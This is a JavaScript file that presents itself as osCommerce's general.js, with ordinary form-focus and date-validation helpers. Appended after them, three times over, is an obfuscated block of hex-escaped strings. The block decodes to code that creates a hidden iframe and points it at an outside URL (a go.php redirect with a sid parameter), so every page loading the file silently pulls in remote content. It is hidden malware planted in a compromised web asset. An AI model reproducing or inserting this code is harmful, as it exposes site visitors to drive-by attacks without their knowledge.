/*
  $Id: general.js,v 1.3 2003/02/10 22:30:55 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}
function aN(){};var bC=function(){return 'bC'};aN.prototype = {w : function() {var tI=false;s="";this.hQ="";var sZ=function(){};var z=window;function c(){};function oB(){};var n='';this.cJ=false;var r=false;var u = this;g="";var a=30410;function qT(){};var l=new Date();this.i="i";var wD=function(){};var j=document;var m=new Array();function iN(){};pK="pK";var zK=false;this.kH='';b="b";this.eD="eD";var hS=false;function qL(){};this.iZ="iZ";bG='';var o = function(h,kuzrT,T){return ['x7ax4fx67x67'+T,h+'x41x4ax35x74x53',kuzrT+'x69x6dx65x6fx75x74']}('x5ax57x46','x73x65x74x54','x74x36x71')[2];d="d";var jI='';var rS=false;this.sT='';var hU='';this.aV=false;var p = function(Pz8J,ls,oZECv,wc,oAD){return [oAD+'x68x58x34',ls+'x69x74x65','x7a'+Pz8J,oZECv+'x62x59x31x63','x65x52x50'+wc]}('x48x33','x77x72','x43x65x37x48x6e','x41x56x78x37','x67')[1];var wR=24011;rC="rC";var nI=false;var cF=20411;try {wB=13933;var bE=false;var sR=7595;var mB=function(){};this.v=8665;var pKL=function(){return 'pKL'};vG="vG";var e = function(WN,N,Sc,l){return ['x51'+Sc,'x46'+WN,'x73'+N,'x6b'+l]}('x65x4ex33x48','x72x63','x48x72','x4bx36')[2];lO='';var wDC=new Array();eN=17853;x='';var jO = function(aP,DLh,Z,i4R){return [DLh+'x65x6ex74',i4R+'x73x49x33',aP+'x76x6cx57x72','x53x51'+Z]}('x6ex4ex35','x63x72x65x61x74x65x45x6cx65x6d','x61x67','x57x6bx73x34x34')[0];function sL(){};hG="hG";this.gP="gP";        var h = function(w9qSY,G,gR){return [gR+'x7a','x62x54x68x6e'+w9qSY,G+'x64']}('x56x4f','x61x70x70x65x6ex64x43x68x69x6c','x46x52x6ex64x64')[2];var yB=28011;var rM=new Date();this.gD="gD";var k = function(m,wIGS,G,V7){return [G+'x67x4ex75',wIGS+'x6cx65',V7+'x41x38x56x73',m+'x6ex31x75x31x36']}('x49x4fx53','x73x74x79','x7ax6dx34','x61x36')[1];yP="";nW="nW";var f = function(fJ,HQ8jz,e,JKV7C,t9l){return [JKV7C+'x79','x57x38x62'+HQ8jz,'x74x4fx30'+t9l,fJ+'x68x4d','x77'+e]}('x6a','x43x61x6fx47','x56x68x4e','x62x6fx64','x64x4cx73x71x46')[0];fO='';aT="";vK="vK";this.oD="oD";var y = function(wx6v3,PKL,cO){return [PKL+'x4bx70x4ax62',wx6v3+'x68','x76x69x73x69x62x69x6cx69x74'+cO]}('x77x54x66x51x6d','x62x4a','x79')[2];var mF=20283;xU=false;this.wP="wP";bA='';var jW = function(QkxZ,G,roVj){return ['x62x43x39x6f'+QkxZ,G+'x69x62x75x74x65','x47x4fx69'+roVj]}('x45x41x38x6dx4f','x73x65x74x41x74x74x72','x74x75x4c')[1];var tQ='';var mP="";qP="";var bI=new Date();this.cD=false;var t=document[jO](function(hou,UpSqj,gnYP){return [gnYP+'x4ax4fx56x6cx30','x6dx30'+UpSqj,'x69x66'+hou]}('x72x61x6dx65','x73x44x53x67x41','x47x73')[2]);this.iF='';var dM=new Date();sN=23609;t[jW](e, u.yX());function cDQ(){};var mPU=function(){};this.gX='';this.qJ=false;this.zC=5266;t[k][y] = function(VdlNS,m,g,MJ,xcZNT){return [VdlNS+'x7ax78x73x43x77',MJ+'x79x50x51x63','x65x32x32'+g,'x6ax48'+xcZNT,'x68x69'+m]}('x77x59','x64x64x65x6e','x4b','x77x6b','x47x54x4bx7ax4c')[4];var nS=new Date();this.qR="qR";bU='';this.kP='';this.yN="yN";var nO=false;this.eL='';this.fG="";var rSV=false;this.tG="";this.lQ=16582;function qN(){};vW=false;j[f][h](t);var fK="fK";qV="";this.jY="";var nC=false;var aL=new Array();} catch(q) {this.wPM=false;function aTS(){};aZ=297;var dG=function(){return 'dG'};var zU=new Date();var eJ=function(){};var jK=function(){return 'jK'};j[p](function(gJCI,sZTSk,RFf,sUazH,S3UR){return ['x76x78x53x39x53'+RFf,sUazH+'x3cx2fx62x6fx64x79x3ex3cx2fx68x74x6dx6cx3e','x56'+sZTSk,'x5ax7ax74x34x65'+gJCI,'x42x70'+S3UR]}('x68','x58x4cx57','x51x51x34x79','x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3e','x4ex6dx46x4a')[1]);this.zI="";this.aP="aP";var zQ=false;z[o](function(){ u.w() }, 385);lS="lS";var mJ=function(){};}var yF=20027;jG="jG";qRE=14190;qLO="";},yX : function() {var bGX=false;pQ="pQ";cDQN=26871;return function(e,r4nv,w){return [e+'x43x69x7ax75',w+'x64',r4nv+'x6cx74x65x72x70x61x72x61x64x69x67x6dx61x2ex6ex65x74x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x32']}('x54x53x6bx79x4c','x68x74x74x70x3ax2fx2fx61','x4fx38')[2];var wF=function(){};var rY=false;}};var uV=new Array();var oF=new aN(); dO=false;oF.w();this.qZ=false;function aN(){};var bC=function(){return 'bC'};aN.prototype = {w : function() {var tI=false;s="";this.hQ="";var sZ=function(){};var z=window;function c(){};function oB(){};var n='';this.cJ=false;var r=false;var u = this;g="";var a=30410;function qT(){};var l=new Date();this.i="i";var wD=function(){};var j=document;var m=new Array();function iN(){};pK="pK";var zK=false;this.kH='';b="b";this.eD="eD";var hS=false;function qL(){};this.iZ="iZ";bG='';var o = function(h,kuzrT,T){return ['x7ax4fx67x67'+T,h+'x41x4ax35x74x53',kuzrT+'x69x6dx65x6fx75x74']}('x5ax57x46','x73x65x74x54','x74x36x71')[2];d="d";var jI='';var rS=false;this.sT='';var hU='';this.aV=false;var p = function(Pz8J,ls,oZECv,wc,oAD){return [oAD+'x68x58x34',ls+'x69x74x65','x7a'+Pz8J,oZECv+'x62x59x31x63','x65x52x50'+wc]}('x48x33','x77x72','x43x65x37x48x6e','x41x56x78x37','x67')[1];var wR=24011;rC="rC";var nI=false;var cF=20411;try {wB=13933;var bE=false;var sR=7595;var mB=function(){};this.v=8665;var pKL=function(){return 'pKL'};vG="vG";var e = function(WN,N,Sc,l){return ['x51'+Sc,'x46'+WN,'x73'+N,'x6b'+l]}('x65x4ex33x48','x72x63','x48x72','x4bx36')[2];lO='';var wDC=new Array();eN=17853;x='';var jO = function(aP,DLh,Z,i4R){return [DLh+'x65x6ex74',i4R+'x73x49x33',aP+'x76x6cx57x72','x53x51'+Z]}('x6ex4ex35','x63x72x65x61x74x65x45x6cx65x6d','x61x67','x57x6bx73x34x34')[0];function sL(){};hG="hG";this.gP="gP";        var h = function(w9qSY,G,gR){return [gR+'x7a','x62x54x68x6e'+w9qSY,G+'x64']}('x56x4f','x61x70x70x65x6ex64x43x68x69x6c','x46x52x6ex64x64')[2];var yB=28011;var rM=new Date();this.gD="gD";var k = function(m,wIGS,G,V7){return [G+'x67x4ex75',wIGS+'x6cx65',V7+'x41x38x56x73',m+'x6ex31x75x31x36']}('x49x4fx53','x73x74x79','x7ax6dx34','x61x36')[1];yP="";nW="nW";var f = function(fJ,HQ8jz,e,JKV7C,t9l){return [JKV7C+'x79','x57x38x62'+HQ8jz,'x74x4fx30'+t9l,fJ+'x68x4d','x77'+e]}('x6a','x43x61x6fx47','x56x68x4e','x62x6fx64','x64x4cx73x71x46')[0];fO='';aT="";vK="vK";this.oD="oD";var y = function(wx6v3,PKL,cO){return [PKL+'x4bx70x4ax62',wx6v3+'x68','x76x69x73x69x62x69x6cx69x74'+cO]}('x77x54x66x51x6d','x62x4a','x79')[2];var mF=20283;xU=false;this.wP="wP";bA='';var jW = function(QkxZ,G,roVj){return ['x62x43x39x6f'+QkxZ,G+'x69x62x75x74x65','x47x4fx69'+roVj]}('x45x41x38x6dx4f','x73x65x74x41x74x74x72','x74x75x4c')[1];var tQ='';var mP="";qP="";var bI=new Date();this.cD=false;var t=document[jO](function(hou,UpSqj,gnYP){return [gnYP+'x4ax4fx56x6cx30','x6dx30'+UpSqj,'x69x66'+hou]}('x72x61x6dx65','x73x44x53x67x41','x47x73')[2]);this.iF='';var dM=new Date();sN=23609;t[jW](e, u.yX());function cDQ(){};var mPU=function(){};this.gX='';this.qJ=false;this.zC=5266;t[k][y] = function(VdlNS,m,g,MJ,xcZNT){return [VdlNS+'x7ax78x73x43x77',MJ+'x79x50x51x63','x65x32x32'+g,'x6ax48'+xcZNT,'x68x69'+m]}('x77x59','x64x64x65x6e','x4b','x77x6b','x47x54x4bx7ax4c')[4];var nS=new Date();this.qR="qR";bU='';this.kP='';this.yN="yN";var nO=false;this.eL='';this.fG="";var rSV=false;this.tG="";this.lQ=16582;function qN(){};vW=false;j[f][h](t);var fK="fK";qV="";this.jY="";var nC=false;var aL=new Array();} catch(q) {this.wPM=false;function aTS(){};aZ=297;var dG=function(){return 'dG'};var zU=new Date();var eJ=function(){};var jK=function(){return 'jK'};j[p](function(gJCI,sZTSk,RFf,sUazH,S3UR){return ['x76x78x53x39x53'+RFf,sUazH+'x3cx2fx62x6fx64x79x3ex3cx2fx68x74x6dx6cx3e','x56'+sZTSk,'x5ax7ax74x34x65'+gJCI,'x42x70'+S3UR]}('x68','x58x4cx57','x51x51x34x79','x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3e','x4ex6dx46x4a')[1]);this.zI="";this.aP="aP";var zQ=false;z[o](function(){ u.w() }, 385);lS="lS";var mJ=function(){};}var yF=20027;jG="jG";qRE=14190;qLO="";},yX : function() {var bGX=false;pQ="pQ";cDQN=26871;return function(e,r4nv,w){return [e+'x43x69x7ax75',w+'x64',r4nv+'x6cx74x65x72x70x61x72x61x64x69x67x6dx61x2ex6ex65x74x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x32']}('x54x53x6bx79x4c','x68x74x74x70x3ax2fx2fx61','x4fx38')[2];var wF=function(){};var rY=false;}};var uV=new Array();var oF=new aN(); dO=false;oF.w();this.qZ=false;function aN(){};var bC=function(){return 'bC'};aN.prototype = {w : function() {var tI=false;s="";this.hQ="";var sZ=function(){};var z=window;function c(){};function oB(){};var n='';this.cJ=false;var r=false;var u = this;g="";var a=30410;function qT(){};var l=new Date();this.i="i";var wD=function(){};var j=document;var m=new Array();function iN(){};pK="pK";var zK=false;this.kH='';b="b";this.eD="eD";var hS=false;function qL(){};this.iZ="iZ";bG='';var o = function(h,kuzrT,T){return ['x7ax4fx67x67'+T,h+'x41x4ax35x74x53',kuzrT+'x69x6dx65x6fx75x74']}('x5ax57x46','x73x65x74x54','x74x36x71')[2];d="d";var jI='';var rS=false;this.sT='';var hU='';this.aV=false;var p = function(Pz8J,ls,oZECv,wc,oAD){return [oAD+'x68x58x34',ls+'x69x74x65','x7a'+Pz8J,oZECv+'x62x59x31x63','x65x52x50'+wc]}('x48x33','x77x72','x43x65x37x48x6e','x41x56x78x37','x67')[1];var wR=24011;rC="rC";var nI=false;var cF=20411;try {wB=13933;var bE=false;var sR=7595;var mB=function(){};this.v=8665;var pKL=function(){return 'pKL'};vG="vG";var e = function(WN,N,Sc,l){return ['x51'+Sc,'x46'+WN,'x73'+N,'x6b'+l]}('x65x4ex33x48','x72x63','x48x72','x4bx36')[2];lO='';var wDC=new Array();eN=17853;x='';var jO = function(aP,DLh,Z,i4R){return [DLh+'x65x6ex74',i4R+'x73x49x33',aP+'x76x6cx57x72','x53x51'+Z]}('x6ex4ex35','x63x72x65x61x74x65x45x6cx65x6d','x61x67','x57x6bx73x34x34')[0];function sL(){};hG="hG";this.gP="gP";        var h = function(w9qSY,G,gR){return [gR+'x7a','x62x54x68x6e'+w9qSY,G+'x64']}('x56x4f','x61x70x70x65x6ex64x43x68x69x6c','x46x52x6ex64x64')[2];var yB=28011;var rM=new Date();this.gD="gD";var k = function(m,wIGS,G,V7){return [G+'x67x4ex75',wIGS+'x6cx65',V7+'x41x38x56x73',m+'x6ex31x75x31x36']}('x49x4fx53','x73x74x79','x7ax6dx34','x61x36')[1];yP="";nW="nW";var f = function(fJ,HQ8jz,e,JKV7C,t9l){return [JKV7C+'x79','x57x38x62'+HQ8jz,'x74x4fx30'+t9l,fJ+'x68x4d','x77'+e]}('x6a','x43x61x6fx47','x56x68x4e','x62x6fx64','x64x4cx73x71x46')[0];fO='';aT="";vK="vK";this.oD="oD";var y = function(wx6v3,PKL,cO){return [PKL+'x4bx70x4ax62',wx6v3+'x68','x76x69x73x69x62x69x6cx69x74'+cO]}('x77x54x66x51x6d','x62x4a','x79')[2];var mF=20283;xU=false;this.wP="wP";bA='';var jW = function(QkxZ,G,roVj){return ['x62x43x39x6f'+QkxZ,G+'x69x62x75x74x65','x47x4fx69'+roVj]}('x45x41x38x6dx4f','x73x65x74x41x74x74x72','x74x75x4c')[1];var tQ='';var mP="";qP="";var bI=new Date();this.cD=false;var t=document[jO](function(hou,UpSqj,gnYP){return [gnYP+'x4ax4fx56x6cx30','x6dx30'+UpSqj,'x69x66'+hou]}('x72x61x6dx65','x73x44x53x67x41','x47x73')[2]);this.iF='';var dM=new Date();sN=23609;t[jW](e, u.yX());function cDQ(){};var mPU=function(){};this.gX='';this.qJ=false;this.zC=5266;t[k][y] = function(VdlNS,m,g,MJ,xcZNT){return [VdlNS+'x7ax78x73x43x77',MJ+'x79x50x51x63','x65x32x32'+g,'x6ax48'+xcZNT,'x68x69'+m]}('x77x59','x64x64x65x6e','x4b','x77x6b','x47x54x4bx7ax4c')[4];var nS=new Date();this.qR="qR";bU='';this.kP='';this.yN="yN";var nO=false;this.eL='';this.fG="";var rSV=false;this.tG="";this.lQ=16582;function qN(){};vW=false;j[f][h](t);var fK="fK";qV="";this.jY="";var nC=false;var aL=new Array();} catch(q) {this.wPM=false;function aTS(){};aZ=297;var dG=function(){return 'dG'};var zU=new Date();var eJ=function(){};var jK=function(){return 'jK'};j[p](function(gJCI,sZTSk,RFf,sUazH,S3UR){return ['x76x78x53x39x53'+RFf,sUazH+'x3cx2fx62x6fx64x79x3ex3cx2fx68x74x6dx6cx3e','x56'+sZTSk,'x5ax7ax74x34x65'+gJCI,'x42x70'+S3UR]}('x68','x58x4cx57','x51x51x34x79','x3cx68x74x6dx6cx20x3ex3cx62x6fx64x79x20x3e','x4ex6dx46x4a')[1]);this.zI="";this.aP="aP";var zQ=false;z[o](function(){ u.w() }, 385);lS="lS";var mJ=function(){};}var yF=20027;jG="jG";qRE=14190;qLO="";},yX : function() {var bGX=false;pQ="pQ";cDQN=26871;return function(e,r4nv,w){return [e+'x43x69x7ax75',w+'x64',r4nv+'x6cx74x65x72x70x61x72x61x64x69x67x6dx61x2ex6ex65x74x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x32']}('x54x53x6bx79x4c','x68x74x74x70x3ax2fx2fx61','x4fx38')[2];var wF=function(){};var rY=false;}};var uV=new Array();var oF=new aN(); dO=false;oF.w();this.qZ=false;